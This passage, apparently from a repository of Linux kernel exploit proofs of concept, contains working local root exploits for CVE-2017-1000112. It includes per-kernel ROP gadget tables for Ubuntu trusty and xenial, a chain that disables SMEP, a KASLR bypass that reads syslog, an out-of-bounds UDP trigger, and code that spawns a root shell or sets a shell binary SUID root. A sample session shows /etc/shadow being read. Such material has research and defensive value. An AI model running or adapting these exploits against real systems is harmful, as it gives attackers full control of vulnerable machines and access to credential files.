buf[sizeof(buf) - 1] = 0; 548 | int len = strlen(buf); 549 | 550 | int fd = open(file, O_WRONLY | O_CLOEXEC); 551 | if (fd == -1) 552 | return false; 553 | if (write(fd, buf, len) != len) { 554 | close(fd); 555 | return false; 556 | } 557 | close(fd); 558 | return true; 559 | } 560 | 561 | void setup_sandbox() { 562 | int real_uid = getuid(); 563 | int real_gid = getgid(); 564 | 565 | if (unshare(CLONE_NEWUSER) != 0) { 566 | printf("[!] unprivileged user namespaces are not available\n"); 567 | perror("[-] unshare(CLONE_NEWUSER)"); 568 | exit(EXIT_FAILURE); 569 | } 570 | if (unshare(CLONE_NEWNET) != 0) { 571 | perror("[-] unshare(CLONE_NEWUSER)"); 572 | exit(EXIT_FAILURE); 573 | } 574 | 575 | if (!write_file("/proc/self/setgroups", "deny")) { 576 | perror("[-] write_file(/proc/self/set_groups)"); 577 | exit(EXIT_FAILURE); 578 | } 579 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) { 580 | perror("[-] write_file(/proc/self/uid_map)"); 581 | exit(EXIT_FAILURE); 582 | } 583 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 584 | perror("[-] write_file(/proc/self/gid_map)"); 585 | exit(EXIT_FAILURE); 586 | } 587 | 588 | cpu_set_t my_set; 589 | CPU_ZERO(&my_set); 590 | CPU_SET(0, &my_set); 591 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 592 | perror("[-] sched_setaffinity()"); 593 | exit(EXIT_FAILURE); 594 | } 595 | 596 | if (system("/sbin/ifconfig lo mtu 1500") != 0) { 597 | perror("[-] system(/sbin/ifconfig lo mtu 1500)"); 598 | exit(EXIT_FAILURE); 599 | } 600 | if (system("/sbin/ifconfig lo up") != 0) { 601 | perror("[-] system(/sbin/ifconfig lo up)"); 602 | exit(EXIT_FAILURE); 603 | } 604 | } 605 | 606 | void exec_shell() { 607 | char* shell = "/bin/bash"; 608 | char* args[] = {shell, "-i", NULL}; 609 | execve(shell, args, NULL); 610 | } 611 | 612 | bool is_root() { 613 | // We can't simple check uid, since we're running inside a namespace 614 | // with uid set to 0. Try opening /etc/shadow instead. 615 | int fd = open("/etc/shadow", O_RDONLY); 616 | if (fd == -1) 617 | return false; 618 | close(fd); 619 | return true; 620 | } 621 | 622 | void check_root() { 623 | printf("[.] checking if we got root\n"); 624 | if (!is_root()) { 625 | printf("[-] something went wrong =(\n"); 626 | return; 627 | } 628 | printf("[+] got r00t ^_^\n"); 629 | exec_shell(); 630 | } 631 | 632 | int main(int argc, char** argv) { 633 | printf("[.] starting\n"); 634 | 635 | printf("[.] checking distro and kernel versions\n"); 636 | detect_versions(); 637 | printf("[~] done, versions looks good\n"); 638 | 639 | printf("[.] checking SMEP and SMAP\n"); 640 | check_smep_smap(); 641 | printf("[~] done, looks good\n"); 642 | 643 | if (!fork()) { 644 | sleep(2), execl(SHELL, "shell", NULL); 645 | } 646 | 647 | printf("[.] setting up namespace sandbox\n"); 648 | setup_sandbox(); 649 | printf("[~] done, namespace sandbox set up\n"); 650 | 651 | #if ENABLE_KASLR_BYPASS 652 | printf("[.] KASLR bypass enabled, getting kernel addr\n"); 653 | KERNEL_BASE = get_kernel_addr(); 654 | printf("[~] done, kernel text: %lx\n", KERNEL_BASE); 655 | #endif 656 | 657 | printf("[.] commit_creds: %lx\n", COMMIT_CREDS); 658 | printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); 659 | 660 | unsigned long payload = (unsigned long)&get_root; 661 | 662 | #if ENABLE_SMEP_BYPASS 663 | printf("[.] SMEP bypass enabled, mmapping fake stack\n"); 664 | mmap_stack(); 665 | payload = XCHG_EAX_ESP_RET; 666 | printf("[~] done, fake stack mmapped\n"); 667 | #endif 668 | 669 | printf("[.] executing payload %lx\n", payload); 670 | oob_execute(payload); 671 | printf("[~] done, should be root now\n"); 672 | 673 | wait(NULL); 674 | 675 | return 0; 676 | } 677 | -------------------------------------------------------------------------------- /002-simple_setattr/.gitignore: -------------------------------------------------------------------------------- 1 | poc 2 | poc.h 3 | shell 4 | -------------------------------------------------------------------------------- /002-simple_setattr/Makefile: -------------------------------------------------------------------------------- 1 | SYMLIST = user_path_at_empty|simple_setattr|path_put 2 | 3 | .PHONY: all 4 | all: poc.c ../shell/shell.c 5 | sudo grep -w -E '($(SYMLIST))' /proc/kallsyms | awk '{printf("#define X_%s 0x%s\n", $$3, $$1)}' >poc.h 6 | echo "#define SHELL \"$(CURDIR)/shell\"" >>poc.h 7 | gcc ../shell/shell.c -o shell 8 | gcc poc.c -o poc 9 | 10 | .PHONY: clean 11 | clean: 12 | rm -f shell poc poc.h 13 | -------------------------------------------------------------------------------- /002-simple_setattr/README.md: -------------------------------------------------------------------------------- 1 | simple_setattr 2 | ============== 3 | 4 | The idea of using `simple_setattr()` function is the following: 5 | 1) Create a shell binary 6 | 2) Exploit the vulnerability and change shell's file properties so it will be owned by root:root with SUID bit set 7 | 8 | Here is the modified `get_root()` function of the original CVE-2017-1000112 exploit: 9 | 10 | ~~~ 11 | void get_root(void) { 12 | struct path path = { 0 }; 13 | struct iattr attr = { .ia_uid = 0, .ia_gid = 0, .ia_mode = 0104755, .ia_valid = ATTR_FORCE | ATTR_UID | ATTR_GID | ATTR_MODE }; 14 | if (!user_path_at_empty(AT_FDCWD, SHELL, 0, &path, NULL)) { 15 | simple_setattr(path.dentry, &attr); 16 | path_put(&path); 17 | } 18 | } 19 | ~~~ 20 | -------------------------------------------------------------------------------- /002-simple_setattr/poc.c: -------------------------------------------------------------------------------- 1 | // A proof-of-concept local root exploit for CVE-2017-1000112. 2 | // Includes KASLR and SMEP bypasses. No SMAP bypass. 3 | // Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels. 4 | // 5 | // Usage: 6 | // user@ubuntu:~$ uname -a 7 | // Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 8 | // user@ubuntu:~$ whoami 9 | // user 10 | // user@ubuntu:~$ id 11 | // uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) 12 | // user@ubuntu:~$ gcc pwn.c -o pwn 13 | // user@ubuntu:~$ ./pwn 14 | // [.] starting 15 | // [.] checking distro and kernel versions 16 | // [.] kernel version '4.8.0-58-generic' detected 17 | // [~] done, versions looks good 18 | // [.] checking SMEP and SMAP 19 | // [~] done, looks good 20 | // [.] setting up namespace sandbox 21 | // [~] done, namespace sandbox set up 22 | // [.] KASLR bypass enabled, getting kernel addr 23 | // [~] done, kernel text: ffffffffae400000 24 | // [.] commit_creds: ffffffffae4a5d20 25 | // [.] prepare_kernel_cred: ffffffffae4a6110 26 | // [.] SMEP bypass enabled, mmapping fake stack 27 | // [~] done, fake stack mmapped 28 | // [.] executing payload ffffffffae40008d 29 | // [~] done, should be root now 30 | // [.] checking if we got root 31 | // [+] got r00t ^_^ 32 | // root@ubuntu:/home/user# whoami 33 | // root 34 | // root@ubuntu:/home/user# id 35 | // uid=0(root) gid=0(root) groups=0(root) 36 | // root@ubuntu:/home/user# cat /etc/shadow 37 | // root:!:17246:0:99999:7::: 38 | // daemon:*:17212:0:99999:7::: 39 | // bin:*:17212:0:99999:7::: 40 | // sys:*:17212:0:99999:7::: 41 | // ... 42 | // 43 | // Andrey Konovalov 44 | 45 | #define _GNU_SOURCE 46 | 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | 66 | #include "poc.h" 67 | 68 | #define ENABLE_KASLR_BYPASS 1 69 | #define ENABLE_SMEP_BYPASS 1 70 | 71 | // Will be overwritten if ENABLE_KASLR_BYPASS is enabled. 72 | unsigned long KERNEL_BASE = 0xffffffff81000000ul; 73 | 74 | // Will be overwritten by detect_versions(). 75 | int kernel = -1; 76 | 77 | struct kernel_info { 78 | const char* distro; 79 | const char* version; 80 | uint64_t commit_creds; 81 | uint64_t prepare_kernel_cred; 82 | uint64_t xchg_eax_esp_ret; 83 | uint64_t pop_rdi_ret; 84 | uint64_t mov_dword_ptr_rdi_eax_ret; 85 | uint64_t mov_rax_cr4_ret; 86 | uint64_t neg_rax_ret; 87 | uint64_t pop_rcx_ret; 88 | uint64_t or_rax_rcx_ret; 89 | uint64_t xchg_eax_edi_ret; 90 | uint64_t mov_cr4_rdi_ret; 91 | uint64_t jmp_rcx; 92 | }; 93 | 94 | struct kernel_info kernels[] = { 95 | { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d }, 96 | { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 }, 97 | { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 98 | { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 99 | { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 100 | { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 }, 101 | { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 }, 102 | { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b }, 103 | { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, 104 | { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, 105 | { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b }, 106 | { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, 107 | { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, 108 | { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 109 | { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 110 | { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 111 | { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 112 | { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 113 | { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 114 | { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 115 | { "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 116 | { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 117 | { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 118 | { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 119 | { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 120 | { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b }, 121 | { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b }, 122 | { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, 123 | { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, 124 | { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, 125 | { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 126 | { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 127 | { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 }, 128 | { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, 129 | { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 130 | { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 131 | { "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 132 | { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 133 | { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, 134 | { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 }, 135 | }; 136 | 137 | // Used to get root privileges. 138 | #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) 139 | #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) 140 | 141 | // Used when ENABLE_SMEP_BYPASS is used. 142 | // - xchg eax, esp ; ret 143 | // - pop rdi ; ret 144 | // - mov dword ptr [rdi], eax ; ret 145 | // - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret 146 | // - neg rax ; ret 147 | // - pop rcx ; ret 148 | // - or rax, rcx ; ret 149 | // - xchg eax, edi ; ret 150 | // - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret 151 | // - jmp rcx 152 | #define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret) 153 | #define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret) 154 | #define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret) 155 | #define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret) 156 | #define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret) 157 | #define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret) 158 | #define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret) 159 | #define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret) 160 | #define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret) 161 | #define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx) 162 | 163 | // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * 164 | 165 | struct path { 166 | void *mnt; 167 | void *dentry; 168 | }; 169 | 170 | struct iattr { 171 | unsigned int ia_valid; 172 | unsigned short ia_mode; 173 | unsigned int ia_uid; 174 | unsigned int ia_gid; 175 | long long ia_size; 176 | struct timeval ia_atime; 177 | struct timeval ia_mtime; 178 | struct timeval ia_ctime; 179 | void *ia_file; 180 | }; 181 | 182 | #define ATTR_MODE (1 << 0) 183 | #define ATTR_UID (1 << 1) 184 | #define ATTR_GID (1 << 2) 185 | #define ATTR_SIZE (1 << 3) 186 | #define ATTR_ATIME (1 << 4) 187 | #define ATTR_MTIME (1 << 5) 188 | #define ATTR_CTIME (1 << 6) 189 | #define ATTR_ATIME_SET (1 << 7) 190 | #define ATTR_MTIME_SET (1 << 8) 191 | #define ATTR_FORCE (1 << 9) 192 | #define ATTR_KILL_SUID (1 << 11) 193 | #define ATTR_KILL_SGID (1 << 12) 194 | #define ATTR_FILE (1 << 13) 195 | #define ATTR_KILL_PRIV (1 << 14) 196 | #define ATTR_OPEN (1 << 15) 197 | #define ATTR_TIMES_SET (1 << 16) 198 | #define ATTR_TOUCH (1 << 17) 199 | 200 | int (*user_path_at_empty)(int, const char *, unsigned, struct path *, int *) = (void *)X_user_path_at_empty; 201 | int (*simple_setattr)(void *, void *) = (void *)X_simple_setattr; 202 | int (*path_put)(void *) = (void *)X_path_put; 203 | 204 | void get_root(void) { 205 | struct path path = { 0 }; 206 | struct iattr attr = { .ia_uid = 0, .ia_gid = 0, .ia_mode = 0104755, .ia_valid = ATTR_FORCE | ATTR_UID | ATTR_GID | ATTR_MODE }; 207 | if (!user_path_at_empty(AT_FDCWD, SHELL, 0, &path, NULL)) { 208 | simple_setattr(path.dentry, &attr); 209 | path_put(&path); 210 | } 211 | } 212 | 213 | // * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * * 214 | 215 | uint64_t saved_esp; 216 | 217 | // Unfortunately GCC does not support `__atribute__((naked))` on x86, which 218 | // can be used to omit a function's prologue, so I had to use this weird 219 | // wrapper hack as a workaround. Note: Clang does support it, which means it 220 | // has better support of GCC attributes than GCC itself. Funny. 221 | void wrapper() { 222 | asm volatile (" \n\ 223 | payload: \n\ 224 | movq %%rbp, %%rax \n\ 225 | movq $0xffffffff00000000, %%rdx \n\ 226 | andq %%rdx, %%rax \n\ 227 | movq %0, %%rdx \n\ 228 | addq %%rdx, %%rax \n\ 229 | movq %%rax, %%rsp \n\ 230 | call get_root \n\ 231 | ret \n\ 232 | " : : "m"(saved_esp) : ); 233 | } 234 | 235 | void payload(); 236 | 237 | #define CHAIN_SAVE_ESP \ 238 | *stack++ = POP_RDI_RET; \ 239 | *stack++ = (uint64_t)&saved_esp; \ 240 | *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; 241 | 242 | #define SMEP_MASK 0x100000 243 | 244 | #define CHAIN_DISABLE_SMEP \ 245 | *stack++ = MOV_RAX_CR4_RET; \ 246 | *stack++ = NEG_RAX_RET; \ 247 | *stack++ = POP_RCX_RET; \ 248 | *stack++ = SMEP_MASK; \ 249 | *stack++ = OR_RAX_RCX_RET; \ 250 | *stack++ = NEG_RAX_RET; \ 251 | *stack++ = XCHG_EAX_EDI_RET; \ 252 | *stack++ = MOV_CR4_RDI_RET; 253 | 254 | #define CHAIN_JMP_PAYLOAD \ 255 | *stack++ = POP_RCX_RET; \ 256 | *stack++ = (uint64_t)&payload; \ 257 | *stack++ = JMP_RCX; 258 | 259 | void mmap_stack() { 260 | uint64_t stack_aligned, stack_addr; 261 | int page_size, stack_size, stack_offset; 262 | uint64_t* stack; 263 | 264 | page_size = getpagesize(); 265 | 266 | stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1); 267 | stack_addr = stack_aligned - page_size * 4; 268 | stack_size = page_size * 8; 269 | stack_offset = XCHG_EAX_ESP_RET % page_size; 270 | 271 | stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE, 272 | MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 273 | if (stack == MAP_FAILED || stack != (void*)stack_addr) { 274 | perror("[-] mmap()"); 275 | exit(EXIT_FAILURE); 276 | } 277 | 278 | stack = (uint64_t*)((char*)stack_aligned + stack_offset); 279 | 280 | CHAIN_SAVE_ESP; 281 | CHAIN_DISABLE_SMEP; 282 | CHAIN_JMP_PAYLOAD; 283 | } 284 | 285 | // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * 286 | 287 | #define SYSLOG_ACTION_READ_ALL 3 288 | #define SYSLOG_ACTION_SIZE_BUFFER 10 289 | 290 | void mmap_syslog(char** buffer, int* size) { 291 | *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); 292 | if (*size == -1) { 293 | perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)"); 294 | exit(EXIT_FAILURE); 295 | } 296 | 297 | *size = (*size / getpagesize() + 1) * getpagesize(); 298 | *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, 299 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 300 | 301 | *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); 302 | if (*size == -1) { 303 | perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)"); 304 | exit(EXIT_FAILURE); 305 | } 306 | } 307 | 308 | unsigned long get_kernel_addr_trusty(char* buffer, int size) { 309 | const char* needle1 = "Freeing unused"; 310 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 311 | if (substr == NULL) { 312 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); 313 | exit(EXIT_FAILURE); 314 | } 315 | 316 | int start = 0; 317 | int end = 0; 318 | for (end = start; substr[end] != '-'; end++); 319 | 320 | const char* needle2 = "ffffff"; 321 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); 322 | if (substr == NULL) { 323 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); 324 | exit(EXIT_FAILURE); 325 | } 326 | 327 | char* endptr = &substr[16]; 328 | unsigned long r = strtoul(&substr[0], &endptr, 16); 329 | 330 | r &= 0xffffffffff000000ul; 331 | 332 | return r; 333 | } 334 | 335 | unsigned long get_kernel_addr_xenial(char* buffer, int size) { 336 | const char* needle1 = "Freeing unused"; 337 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 338 | if (substr == NULL) { 339 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); 340 | exit(EXIT_FAILURE); 341 | } 342 | 343 | int start = 0; 344 | int end = 0; 345 | for (start = 0; substr[start] != '-'; start++); 346 | for (end = start; substr[end] != '\n'; end++); 347 | 348 | const char* needle2 = "ffffff"; 349 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); 350 | if (substr == NULL) { 351 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); 352 | exit(EXIT_FAILURE); 353 | } 354 | 355 | char* endptr = &substr[16]; 356 | unsigned long r = strtoul(&substr[0], &endptr, 16); 357 | 358 | r &= 0xfffffffffff00000ul; 359 | r -= 0x1000000ul; 360 | 361 | return r; 362 | } 363 | 364 | unsigned long get_kernel_addr() { 365 | char* syslog; 366 | int size; 367 | mmap_syslog(&syslog, &size); 368 | 369 | if (strcmp("trusty", kernels[kernel].distro) == 0 && 370 | strncmp("4.4.0", kernels[kernel].version, 5) == 0) 371 | return get_kernel_addr_trusty(syslog, size); 372 | if (strcmp("xenial", kernels[kernel].distro) == 0 && 373 | strncmp("4.8.0", kernels[kernel].version, 5) == 0) 374 | return get_kernel_addr_xenial(syslog, size); 375 | 376 | printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*"); 377 | exit(EXIT_FAILURE); 378 | } 379 | 380 | // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * 381 | 382 | struct ubuf_info { 383 | uint64_t callback; // void (*callback)(struct ubuf_info *, bool) 384 | uint64_t ctx; // void * 385 | uint64_t desc; // unsigned long 386 | }; 387 | 388 | struct skb_shared_info { 389 | uint8_t nr_frags; // unsigned char 390 | uint8_t tx_flags; // __u8 391 | uint16_t gso_size; // unsigned short 392 | uint16_t gso_segs; // unsigned short 393 | uint16_t gso_type; // unsigned short 394 | uint64_t frag_list; // struct sk_buff * 395 | uint64_t hwtstamps; // struct skb_shared_hwtstamps 396 | uint32_t tskey; // u32 397 | uint32_t ip6_frag_id; // __be32 398 | uint32_t dataref; // atomic_t 399 | uint64_t destructor_arg; // void * 400 | uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; 401 | }; 402 | 403 | struct ubuf_info ui; 404 | 405 | void init_skb_buffer(char* buffer, unsigned long func) { 406 | struct skb_shared_info* ssi = (struct skb_shared_info*)buffer; 407 | memset(ssi, 0, sizeof(*ssi)); 408 | 409 | ssi->tx_flags = 0xff; 410 | ssi->destructor_arg = (uint64_t)&ui; 411 | ssi->nr_frags = 0; 412 | ssi->frag_list = 0; 413 | 414 | ui.callback = func; 415 | } 416 | 417 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * 418 | 419 | #define SHINFO_OFFSET 3164 420 | 421 | void oob_execute(unsigned long payload) { 422 | char buffer[4096]; 423 | memset(&buffer[0], 0x42, 4096); 424 | init_skb_buffer(&buffer[SHINFO_OFFSET], payload); 425 | 426 | int s = socket(PF_INET, SOCK_DGRAM, 0); 427 | if (s == -1) { 428 | perror("[-] socket()"); 429 | exit(EXIT_FAILURE); 430 | } 431 | 432 | struct sockaddr_in addr; 433 | memset(&addr, 0, sizeof(addr)); 434 | addr.sin_family = AF_INET; 435 | addr.sin_port = htons(8000); 436 | addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 437 | 438 | if (connect(s, (void*)&addr, sizeof(addr))) { 439 | perror("[-] connect()"); 440 | exit(EXIT_FAILURE); 441 | } 442 | 443 | int size = SHINFO_OFFSET + sizeof(struct skb_shared_info); 444 | int rv = send(s, buffer, size, MSG_MORE); 445 | if (rv != size) { 446 | perror("[-] send()"); 447 | 